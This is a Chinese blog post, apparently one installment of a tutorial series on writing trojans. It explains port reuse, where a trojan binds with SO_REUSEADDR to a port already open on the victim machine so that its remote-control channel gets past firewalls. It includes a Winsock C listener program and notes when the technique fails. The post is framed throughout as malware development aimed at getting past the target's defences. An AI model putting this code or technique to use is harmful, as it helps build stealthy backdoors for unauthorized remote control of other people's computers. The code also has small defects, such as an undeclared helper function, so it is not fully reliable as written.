木马,你好!(五)端口重用

正常的思路是有两种:一种是在目标机器上开一个端口监听,等待攻击者连接。另一种则是让目标计算机主动连攻击者的连接,也就是俗称的反向连接。但是前一种方法很容易被防火墙挡住,而后者则需要攻击者有一个公网 IP,而后者也可能被目标禁止外链的防火墙挡掉。

在这种情况下可以考虑使用端口重用,也就是说去重用目前计算机上已经开启的端口,这些端口往往不受到防火墙的阻挡,从而可以实现木马的远程操控。

查看端口

在 cmd 下通过

netstat -ano 

可以查看到当前 windows 系统上已经开启的端口。

setsockopt 函数

重用端口的函数原型

int setsockopt(
    SOCKET s,
    int level,
    int optname,
    const char *optval,
    int optlen
);

参数一
要改变的目标 Socket
参数二
第二个参数为选项的等级,
参数三
要改成的选项名
参数四、五
为指定值的指针和大小。

设置参数三为 SO_REUSEADDR ,就可以重用已绑定的端口了。

代码

#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

int main()
{
	WSADATA ws;
	int ret, iAddrSize;
	BOOL value = TRUE;
	SOCKET socketConn;
	SOCKET socketListen;
	struct sockaddr_in socketListenAddr;

	// 初始化 WSA
	WSAStartup(MAKEWORD(2, 2), &ws);
	// 注意要用 WSASocket
	socketListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

	// 设置可重用的 socket
	ret = setsockopt(socketListen, SOL_SOCKET, SO_REUSEADDR, (char *) &value, sizeof(value));
	if (printError("setsockopt", ret))
	{
		return;
	}
	
	// 设置监听地址
	socketListenAddr.sin_family = AF_INET;
	socketListenAddr.sin_port = htons(81); // 查找到的本机端口
	socketListenAddr.sin_addr.s_addr = inet_addr("192.168.1.99"); // 本机地址

	// 重复绑定该端口
	ret = bind(socketListen, (struct sockaddr *)&socketListenAddr, sizeof(socketListenAddr));
	if (printError("bind", ret))
	{
		return;
	}

	// 开始监听
	ret = listen(socketListen, 2);
	if (printError("listen", ret))
	{
		return;
	}

	// 如果客户请求 80端口,接受连接
	iAddrSize = sizeof(socketListenAddr);
	socketConn = accept(socketListen, (struct sockaddr *)&socketListenAddr, &iAddrSize);

	/*
	 * socket 已经拿到了,以下就省略了
	 */

	system("pause");
}

BOOL printError(char *str, int ret) 
{
	// 如果返回不为 0 则有错
	if (ret != 0)
	{
		printf("%s error:%dn", str, GetLastError());
		system("pause");
		return TRUE;
	} else {
		return FALSE;
	}
}

好了,鸠占鹊巢之后就可以逃出防火墙的阻拦一马平川了。不过需要注意的是如果要重用的端口设置了 SO_EXCLUSIVEADDRUSE 之类的东西就无法使用这招,在 bind 的时候会碰到 10013 的错误。就只能考虑换个端口来重用了。

文章索引

上一讲:木马,你好!(四)远程文件传送
下一讲:木马,你好!(六)Hook 监听木马

Advertisements

发表评论

Fill in your details below or click an icon to log in:

WordPress.com 徽标

You are commenting using your WordPress.com account. Log Out /  更改 )

Google+ photo

You are commenting using your Google+ account. Log Out /  更改 )

Twitter picture

You are commenting using your Twitter account. Log Out /  更改 )

Facebook photo

You are commenting using your Facebook account. Log Out /  更改 )

Connecting to %s